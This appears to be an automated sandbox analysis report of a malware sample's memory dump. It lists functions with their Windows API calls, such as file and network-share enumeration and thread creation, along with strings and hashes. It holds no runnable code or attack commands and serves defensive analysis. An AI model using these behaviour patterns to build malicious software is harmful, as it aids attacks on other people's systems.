Part of subcall function 00420C62: RtlAllocateHeap.NTDLL(006F0000,00000000,00000001,00000001,?,?,?,00430E81,00000001,00000000,?,?,?,00430D1A,0044F284,?), ref: 00420CA5

_malloc.LIBCMT ref: 0040EF85
_memset.LIBCMT ref: 0040EF9B

Memory Dump Source

Source File: 00000006.00000002.2683452760.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.2683452760.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2683452760.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2683452760.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_16oApcahEa.jbxd

Yara matches

Similarity

API ID: _malloc$AllocateHeap_memset
String ID:
API String ID: 3655941445-0
Opcode ID: 030ce5304eb8d874ea407c5a52bd42f85663f8070df60884b58911fa6b375070
Instruction ID: 5fa84ec4042e21db229fa26042ce02b7cce951e2f5e2b33d0654eda62efe4b83
Opcode Fuzzy Hash: 030ce5304eb8d874ea407c5a52bd42f85663f8070df60884b58911fa6b375070
Instruction Fuzzy Hash: 06110631600624EFCB10DF99D881A5ABBB5FF89314F2445A9E9489F396D731B912CBC1

Function 00416360 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 78COMMON

Download Yara Rule

APIs

Concurrency::details::_Concurrent_queue_base_v4::_Internal_throw_exception.LIBCPMT ref: 004163F2

Part of subcall function 00423B4C: _malloc.LIBCMT ref: 00423B64

Strings

vector<T> too long, xrefs: 00416400

Memory Dump Source

Source File: 00000006.00000002.2683452760.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.2683452760.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2683452760.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2683452760.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_16oApcahEa.jbxd

Yara matches

Similarity

API ID: Concurrency::details::_Concurrent_queue_base_v4::_Internal_throw_exception_malloc
String ID: vector<T> too long
API String ID: 657562460-3788999226
Opcode ID: a7ade48b08c5d5ad34303002e90c44e239e7dbe6b4a5920bc22f539685933559
Instruction ID: 8a3f499d8f695fb6c505ade9ee74a5f75eccecd747a1f9e864aec4205f979c23
Opcode Fuzzy Hash: a7ade48b08c5d5ad34303002e90c44e239e7dbe6b4a5920bc22f539685933559
Instruction Fuzzy Hash: A611E675500118DB8B04EF1CD8818EA7BE9EF84300744816EED098F709DB75ED64C6E6

Function 00413A90 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 48COMMON

Download Yara Rule

APIs

Concurrency::details::_Concurrent_queue_base_v4::_Internal_throw_exception.LIBCPMT ref: 00413B0A

Part of subcall function 00423B4C: _malloc.LIBCMT ref: 00423B64

Strings

vector<T> too long, xrefs: 00413B00

Memory Dump Source

Source File: 00000006.00000002.2683452760.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.2683452760.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2683452760.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2683452760.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_16oApcahEa.jbxd

Yara matches

Similarity

API ID: Concurrency::details::_Concurrent_queue_base_v4::_Internal_throw_exception_malloc
String ID: vector<T> too long
API String ID: 657562460-3788999226
Opcode ID: ec9fa959891ad17012f955cad320b077b9d77098b8006236d617a9d07d0cdc4c
Instruction ID: 58ba692ce99c870a1dcba0d104e91e6c126768a8e2c2fae69a1ad948a11fc536
Opcode Fuzzy Hash: ec9fa959891ad17012f955cad320b077b9d77098b8006236d617a9d07d0cdc4c
Instruction Fuzzy Hash: F401F171200705ABD720CFACC09068BFBE8AF80725F20853FEA5583381EBB5E944C784

Function 00454C00 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 23COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00454AE0: GetStdHandle.KERNEL32(000000F4,00454C16,%s(%d): OpenSSL internal error, assertion failed: %s,?,?,?,0045480E,.\crypto\cryptlib.c,00000253,pointer != NULL,00000000,00451D37,00000000,0040CDAE,00000001,00000001), ref: 00454AFA
Part of subcall function 00454AE0: GetFileType.KERNEL32(00000000), ref: 00454B05
Part of subcall function 00454AE0: __vfwprintf_p.LIBCMT ref: 00454B27

_raise.LIBCMT ref: 00454C18

Part of subcall function 0042A12E: __getptd_noexit.LIBCMT ref: 0042A16B

Part of subcall function 00427CEC: _doexit.LIBCMT ref: 00427CF6

Strings

%s(%d): OpenSSL internal error, assertion failed: %s, xrefs: 00454C0C

Memory Dump Source

Source File: 00000006.00000002.2683452760.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.2683452760.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2683452760.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2683452760.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_16oApcahEa.jbxd

Yara matches

Similarity

API ID: FileHandleType__getptd_noexit__vfwprintf_p_doexit_raise
String ID: %s(%d): OpenSSL internal error, assertion failed: %s
API String ID: 2149077303-4210838268
Opcode ID: c8b60d106a6ddf9770fe8ded3b270afc7ab6773223e56d6f9ab2ba1de5c26324
Instruction ID: fa72e03f5863b2a05375eef283b674a1c5903e86e1e3734bc2555e426bc738f9
Opcode Fuzzy Hash: c8b60d106a6ddf9770fe8ded3b270afc7ab6773223e56d6f9ab2ba1de5c26324
Instruction Fuzzy Hash: 6FD09E795892107FED022791EC07A1E7A51AF9471CF808419F69A041A2D6768534AA5B

Function 0040FD57 Relevance: 3.1, APIs: 2, Instructions: 134fileCOMMON

Download Yara Rule

APIs

PathFindExtensionW.SHLWAPI(?,00000000,-00000002,?,00000000,000000FF), ref: 0040FF4D
_wcsstr.LIBCMT ref: 0040FF7E
_wcsstr.LIBCMT ref: 0040FFC4
_wcsstr.LIBCMT ref: 0040FFEF
_wcsstr.LIBCMT ref: 0041001C
FindNextFileW.KERNEL32(?,?), ref: 0041005A
FindClose.KERNEL32(?), ref: 0041006C

Memory Dump Source

Source File: 00000006.00000002.2683452760.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.2683452760.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2683452760.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2683452760.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_16oApcahEa.jbxd

Yara matches

Similarity

API ID: _wcsstr$Find$CloseExtensionFileNextPath
String ID:
API String ID: 2799698630-0
Opcode ID: ccf6f16b3905d92dc95d8eaaf4f7f1fe8b3ec0f93cb03f606c9b8f6268d32d85
Instruction ID: 5ab157793dcca273c0e587975c0a14bd2b460513ddb2d20d8000ed9fb441c990
Opcode Fuzzy Hash: ccf6f16b3905d92dc95d8eaaf4f7f1fe8b3ec0f93cb03f606c9b8f6268d32d85
Instruction Fuzzy Hash: 30519D70D00219DAEF20DF60DD457DEBBB5BF15308F4040BAD40A66291EB7A9AC9CF5A

Function 00423A38 Relevance: 3.0, APIs: 2, Instructions: 33COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00425208: __getptd_noexit.LIBCMT ref: 00425208

__lock_file.LIBCMT ref: 00423A7D

Part of subcall function 00420E53: __lock.LIBCMT ref: 00420E76

__fclose_nolock.LIBCMT ref: 00423A88

Memory Dump Source

Source File: 00000006.00000002.2683452760.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.2683452760.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2683452760.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2683452760.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_16oApcahEa.jbxd

Yara matches

Similarity

API ID: __fclose_nolock__getptd_noexit__lock__lock_file
String ID:
API String ID: 2800547568-0
Opcode ID: 12bd1d3cff3597424f6cf441e7f6ef2d7829569bf8c2b731cad610acca9b362c
Instruction ID: e9f7363e2c125346a9344b83ccdc7017391740cbbddd1805e0fe7159b8e2b74d
Opcode Fuzzy Hash: 12bd1d3cff3597424f6cf441e7f6ef2d7829569bf8c2b731cad610acca9b362c
Instruction Fuzzy Hash: 1EF0F631B01724AAD710AF66680275E6AB46F00339F90815FE4A09A1C1CB7C87428F59

Function 0042FB64 Relevance: 3.0, APIs: 2, Instructions: 17COMMONLIBRARYCODE

Download Yara Rule

APIs

__lock.LIBCMT ref: 0042FB7B

Part of subcall function 00428AF7: __mtinitlocknum.LIBCMT ref: 00428B09
Part of subcall function 00428AF7: __amsg_exit.LIBCMT ref: 00428B15
Part of subcall function 00428AF7: EnterCriticalSection.KERNEL32(00000000,?,004250D7,0000000D), ref: 00428B22

__tzset_nolock.LIBCMT ref: 0042FB8E

Part of subcall function 0042FE47: __lock.LIBCMT ref: 0042FE6C
Part of subcall function 0042FE47: ____lc_codepage_func.LIBCMT ref: 0042FEB3
Part of subcall function 0042FE47: __getenv_helper_nolock.LIBCMT ref: 0042FED4
Part of subcall function 0042FE47: _free.LIBCMT ref: 0042FF07
Part of subcall function 0042FE47: _strlen.LIBCMT ref: 0042FF0E
Part of subcall function 0042FE47: __malloc_crt.LIBCMT ref: 0042FF15

Memory Dump Source

Source File: 00000006.00000002.2683452760.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.2683452760.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2683452760.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2683452760.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_16oApcahEa.jbxd

Yara matches

Similarity

API ID: __lock$CriticalEnterSection____lc_codepage_func__amsg_exit__getenv_helper_nolock__malloc_crt__mtinitlocknum__tzset_nolock_free_strlen
String ID:
API String ID: 1282695788-0
Opcode ID: 92963a37b1ac55d125e1d9796c7b8053ccc5c5112960f7952bb2c963dcdaa470
Instruction ID: e2ddc43a93f61bf79f0790849a809cb79cc8f4f227a559e0d4967367be19fad2
Opcode Fuzzy Hash: 92963a37b1ac55d125e1d9796c7b8053ccc5c5112960f7952bb2c963dcdaa470
Instruction Fuzzy Hash: 69E0BF35E41664DAD620A7A2F91B75C7570AB14329FD0D16F9110111D28EBC15C8DA2E

Function 00427B0B Relevance: 3.0, APIs: 2, Instructions: 7COMMONLIBRARYCODE

Download Yara Rule

APIs

___crtCorExitProcess.LIBCMT ref: 00427B11

Part of subcall function 00427AD7: GetModuleHandleExW.KERNEL32(00000000,mscoree.dll,?,?,?,00427B16,00000000,?,00428BCA,000000FF,0000001E,00507BD0,00000008,00428B0E,00000000,00000000), ref: 00427AE6
Part of subcall function 00427AD7: GetProcAddress.KERNEL32(?,CorExitProcess), ref: 00427AF8

ExitProcess.KERNEL32 ref: 00427B1A

Memory Dump Source

Source File: 00000006.00000002.2683452760.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.2683452760.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2683452760.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2683452760.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_16oApcahEa.jbxd

Yara matches

Similarity

API ID: ExitProcess$AddressHandleModuleProc___crt
String ID:
API String ID: 2427264223-0
Opcode ID: 1085377ae278e01a80d78c7627d5840b2da43c7aca63d5a85146659919477565
Instruction ID: 59367741208a4d0b8125be5957acfda0e57e61d39344a7bf1a3f5abf2379cf84
Opcode Fuzzy Hash: 1085377ae278e01a80d78c7627d5840b2da43c7aca63d5a85146659919477565
Instruction Fuzzy Hash: 0DB09230404108BBCB052F52EC0A85D3F29EB003A0B408026F90848031EBB2AA919AC8

Function 004118C5 Relevance: 2.5, APIs: 2, Instructions: 21COMMON

Download Yara Rule

APIs

VirtualFree.KERNELBASE(00000000,00000000,00008000,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 004118DD
CloseHandle.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,00000000,?,00000000,?), ref: 004118E9

Memory Dump Source

Source File: 00000006.00000002.2683452760.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.2683452760.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2683452760.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2683452760.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_16oApcahEa.jbxd

Yara matches

Similarity

API ID: CloseFreeHandleVirtual
String ID:
API String ID: 2443081362-0
Opcode ID: 361c4fcee47f9886bce79b3ac72f802e467dd4b7b05589e3f2927c820f7a912b
Instruction ID: a75cf17640dcbe18a091e0aebb8a692561bc66dfcc2ddf1384dfcaf55dfbf141
Opcode Fuzzy Hash: 361c4fcee47f9886bce79b3ac72f802e467dd4b7b05589e3f2927c820f7a912b
Instruction Fuzzy Hash: D1E08636B415049BC7209B99ECC0B9DB374F785720F20437AD919733D047352D028A58

Function 00416950 Relevance: 1.6, APIs: 1, Instructions: 100COMMON

Download Yara Rule

APIs

Concurrency::details::_Concurrent_queue_base_v4::_Internal_throw_exception.LIBCPMT ref: 004169DF

Memory Dump Source

Source File: 00000006.00000002.2683452760.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.2683452760.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2683452760.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2683452760.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_16oApcahEa.jbxd

Yara matches

Similarity

API ID: Concurrency::details::_Concurrent_queue_base_v4::_Internal_throw_exception
String ID:
API String ID: 120817956-0
Opcode ID: 5c06a16631628311a2e2464c59b1403fca32f0927666cee25cb554181a8ca05d
Instruction ID: aa06b8048d3bf760f527e7d0bbb9ad0a08af858ba63749c6f8d7f01112261dfe
Opcode Fuzzy Hash: 5c06a16631628311a2e2464c59b1403fca32f0927666cee25cb554181a8ca05d
Instruction Fuzzy Hash: E731E3B2A006059BCB20DF68C5816AEB7F9EF45750F21823FE856D7740DB38DD448BA9

Function 00416760 Relevance: 1.6, APIs: 1, Instructions: 98COMMON

Download Yara Rule

APIs

Concurrency::details::_Concurrent_queue_base_v4::_Internal_throw_exception.LIBCPMT ref: 004167E6

Memory Dump Source

Source File: 00000006.00000002.2683452760.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.2683452760.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2683452760.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2683452760.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_16oApcahEa.jbxd

Yara matches

Similarity

API ID: Concurrency::details::_Concurrent_queue_base_v4::_Internal_throw_exception
String ID:
API String ID: 120817956-0
Opcode ID: df7d18e85d1f9de1ae016d3feabf146457b539472ac0ee42da05bc7700b86dc5
Instruction ID: efb258ddcfae47249c3acbfcaa5a8e986a9cbccba7edf1416c99c2e95f316cd5
Opcode Fuzzy Hash: df7d18e85d1f9de1ae016d3feabf146457b539472ac0ee42da05bc7700b86dc5
Instruction Fuzzy Hash: B83126B1A016019FDB24DF29C5807AEBBF4EB40364F104A2EE426977C0D738DA80C7A6

Function 00416570 Relevance: 1.6, APIs: 1, Instructions: 76COMMON

Download Yara Rule

APIs

Concurrency::details::_Concurrent_queue_base_v4::_Internal_throw_exception.LIBCPMT ref: 004165C5

Part of subcall function 00423B4C: _malloc.LIBCMT ref: 00423B64

Memory Dump Source

Source File: 00000006.00000002.2683452760.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.2683452760.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2683452760.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2683452760.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_16oApcahEa.jbxd

Yara matches

Similarity

API ID: Concurrency::details::_Concurrent_queue_base_v4::_Internal_throw_exception_malloc
String ID:
API String ID: 657562460-0
Opcode ID: 763dd54db750a8c72191ce9b969b2d858f96e7c95846e18ac781173350e5fc78
Instruction ID: 5021f87c270b400a587bd724d9b61bde01bf534475f8b0cbfe068d44a909a5c2
Opcode Fuzzy Hash: 763dd54db750a8c72191ce9b969b2d858f96e7c95846e18ac781173350e5fc78
Instruction Fuzzy Hash: A72124B5A00115DBCB14DF5CD981B9ABFA9EF45700F04822AEC058B348D738EA14CBE5

Function 00412840 Relevance: 1.6, APIs: 1, Instructions: 64COMMON

Download Yara Rule

APIs

Part of subcall function 00413C40: _memset.LIBCMT ref: 00413C83

WideCharToMultiByte.KERNEL32(00000000,00000000,?,000000FF,00000008,?,00000000,00000000,?), ref: 004128AA

Memory Dump Source

Source File: 00000006.00000002.2683452760.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.2683452760.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2683452760.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2683452760.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_16oApcahEa.jbxd

Yara matches

Similarity

API ID: ByteCharMultiWide_memset
String ID:
API String ID: 2800726579-0
Opcode ID: f52005a88d20f81000d550c36347818cd6b6cdbe6dba65ade1f51297c6f09db4
Instruction ID: 77d5c0c78108e6bd7b696174a76f34ed3b4c8b07ae2fa23de187fb57fd92ed49
Opcode Fuzzy Hash: f52005a88d20f81000d550c36347818cd6b6cdbe6dba65ade1f51297c6f09db4
Instruction Fuzzy Hash: 9B11D371A00219BBDB11DF59CD41BDFBBA8EF01714F10422AF914A72C0C7BD99558BDA

Function 0041FA10 Relevance: 1.5, APIs: 1, Instructions: 19threadCOMMON

Download Yara Rule

APIs

CreateThread.KERNEL32(00000000,00000000,Function_0001F130,?,00000000,00000000), ref: 0041FA25

Memory Dump Source

Source File: 00000006.00000002.2683452760.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.2683452760.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2683452760.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2683452760.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_16oApcahEa.jbxd

Yara matches

Similarity

API ID: CreateThread
String ID:
API String ID: 2422867632-0
Opcode ID: 0ac00649bc9f379a6b742ea92144ce4fa1e49017590e60b2748b6a8e655e84ce
Instruction ID: 74150d4eedde67828055b261a2b9f98274f0c47e32cd20f87c2cefabb50f2d8a
Opcode Fuzzy Hash: 0ac00649bc9f379a6b742ea92144ce4fa1e49017590e60b2748b6a8e655e84ce
Instruction Fuzzy Hash: F1D05E322883147BE3140A9AAC06F867AC88B15B20F00403AB609DA1C0D9A1A8108A9C

Function 0041FD80 Relevance: 1.5, APIs: 1, Instructions: 18windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00410BD0: WNetOpenEnumW.MPR(00000002,00000000,00000000,00000000,?), ref: 00410C12

SendMessageW.USER32(?,00008004,00000000,00000000), ref: 0041FDA4

Memory Dump Source

Source File: 00000006.00000002.2683452760.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.2683452760.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2683452760.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2683452760.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_16oApcahEa.jbxd

Yara matches

Similarity

API ID: EnumMessageOpenSend
String ID:
API String ID: 1835186980-0
Opcode ID: 4b855248cb889363fe6aa4b9a8dd9f39f841337135063b4ce115baa5f3e43425
Instruction ID: f1b321f5059a27c682919cb5e20fd2d447803ac3e15b06371c74c2023cac73f2
Opcode Fuzzy Hash: 4b855248cb889363fe6aa4b9a8dd9f39f841337135063b4ce115baa5f3e43425
Instruction Fuzzy Hash: 27E02B311043406AD32097A4DC01F82BBC49F18728F00C81EF7CA6B9C1C5F1B04487ED

Function 0041FDC0 Relevance: 1.5, APIs: 1, Instructions: 16threadCOMMON

Download Yara Rule

APIs

CreateThread.KERNEL32(00000000,00000000,Function_0001FD80,?,00000000,00529230), ref: 0041FDD6

Memory Dump Source

Source File: 00000006.00000002.2683452760.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.2683452760.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2683452760.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2683452760.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_16oApcahEa.jbxd

Yara matches

Similarity

API ID: CreateThread
String ID:
API String ID: 2422867632-0
Opcode ID: dcd01a2ceecdcc7afcdf07ee0c002b865cef6077f7601f89151651f24f0902f2
Instruction ID: 36d07be7825d0dd215c2e58fd0e5fada4a3bc662417c17551b787912ef620d2a
Opcode Fuzzy Hash: dcd01a2ceecdcc7afcdf07ee0c002b865cef6077f7601f89151651f24f0902f2
Instruction Fuzzy Hash: 6FD012753C9305B7E7180BA6BC47F593A989B29B00F504036F60DD92D0DAB1F4509A5C

Function 004220B6 Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

__fsopen.LIBCMT ref: 004220C1

Memory Dump Source

Source File: 00000006.00000002.2683452760.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.2683452760.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2683452760.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2683452760.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_16oApcahEa.jbxd

Yara matches

Similarity

API ID: __fsopen
String ID:
API String ID: 3646066109-0
Opcode ID: bf5cddf6cdcf292e93ea6723c994e088edc5db0ae513d1c80474abae1941b879
Instruction ID: 292279633ce522dfb3aa62ab9f23dea9a591004ce3b356b458beb681742a1975
Opcode Fuzzy Hash: bf5cddf6cdcf292e93ea6723c994e088edc5db0ae513d1c80474abae1941b879
Instruction Fuzzy Hash: FDB0927254021C77CF012E82EC02A493B199B60764F448021FB1C181B1E6BBE66496C9

Function 00427F3D Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

_doexit.LIBCMT ref: 00427F47

Part of subcall function 00427E0E: __lock.LIBCMT ref: 00427E1C
Part of subcall function 00427E0E: DecodePointer.KERNEL32(00507B08,0000001C,00427CFB,00000000,00000001,00000000,?,00427C49,000000FF,?,00428B1A,00000011,00000000,?,004250D7,0000000D), ref: 00427E5B
Part of subcall function 00427E0E: DecodePointer.KERNEL32(?,00427C49,000000FF,?,00428B1A,00000011,00000000,?,004250D7,0000000D), ref: 00427E6C
Part of subcall function 00427E0E: EncodePointer.KERNEL32(00000000,?,00427C49,000000FF,?,00428B1A,00000011,00000000,?,004250D7,0000000D), ref: 00427E85
Part of subcall function 00427E0E: DecodePointer.KERNEL32(-00000004,?,00427C49,000000FF,?,00428B1A,00000011,00000000,?,004250D7,0000000D), ref: 00427E95
Part of subcall function 00427E0E: EncodePointer.KERNEL32(00000000,?,00427C49,000000FF,?,00428B1A,00000011,00000000,?,004250D7,0000000D), ref: 00427E9B
Part of subcall function 00427E0E: DecodePointer.KERNEL32(?,00427C49,000000FF,?,00428B1A,00000011,00000000,?,004250D7,0000000D), ref: 00427EB1
Part of subcall function 00427E0E: DecodePointer.KERNEL32(?,00427C49,000000FF,?,00428B1A,00000011,00000000,?,004250D7,0000000D), ref: 00427EBC

Memory Dump Source

Source File: 00000006.00000002.2683452760.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.2683452760.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2683452760.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2683452760.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_16oApcahEa.jbxd

Yara matches

Similarity

API ID: Pointer$Decode$Encode$__lock_doexit
String ID:
API String ID: 2158581194-0
Opcode ID: e664eab0a2f8ce3703c552baf369986a84cdf03d3e0bf670d1975cdb5f15a4fc
Instruction ID: a7e7560d2adc556c6fb323ffd13f600db444db9a7111c1ec19eeb8b3048b151f
Opcode Fuzzy Hash: e664eab0a2f8ce3703c552baf369986a84cdf03d3e0bf670d1975cdb5f15a4fc
Instruction Fuzzy Hash: ABB01271A8430C33DA113642FC03F053B0C4740B54F610071FA0C2C5E1A593B96040DD

Function 00420FDD Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

__wfsopen.LIBCMT ref: 00420FE8

Memory Dump Source

Source File: 00000006.00000002.2683452760.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.2683452760.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2683452760.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2683452760.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_16oApcahEa.jbxd

Yara matches

Similarity

API ID: __wfsopen
String ID:
API String ID: 197181222-0
Opcode ID: a3c3897a0b8e5cc1e99c40f009d05ddfac5da0d01180f44d34b11c30565e0d74
Instruction ID: 060863096896a5b816ca94ba1531ddaea04f54b188c1fa908ac11e743c0bd32b
Opcode Fuzzy Hash: a3c3897a0b8e5cc1e99c40f009d05ddfac5da0d01180f44d34b11c30565e0d74
Instruction Fuzzy Hash: 1EB0927254020C77CE012A82EC02A497B199B516A4F408021FB0C18571A677A6A09A89

Function 00412900 Relevance: 1.3, APIs: 1, Instructions: 63COMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,00000010,-000003FF,-000003FF), ref: 00412966

Memory Dump Source

Source File: 00000006.00000002.2683452760.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.2683452760.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2683452760.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2683452760.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_16oApcahEa.jbxd

Yara matches

Similarity

API ID: ByteCharMultiWide
String ID:
API String ID: 626452242-0
Opcode ID: 522272b047bbd8e8261cde7fdcaf33d21ce0fd3c0931e0248655befe8ec40694
Instruction ID: 3b43283c781d39060a285e1a990033b4cd03b7dd602a36c1420ec248ee7b7319
Opcode Fuzzy Hash: 522272b047bbd8e8261cde7fdcaf33d21ce0fd3c0931e0248655befe8ec40694
Instruction Fuzzy Hash: 0411B171A00219EBDF00DF59DC41BDFBBA8EF05718F00452AF819A7280D7BE99558BDA

Non-executed Functions

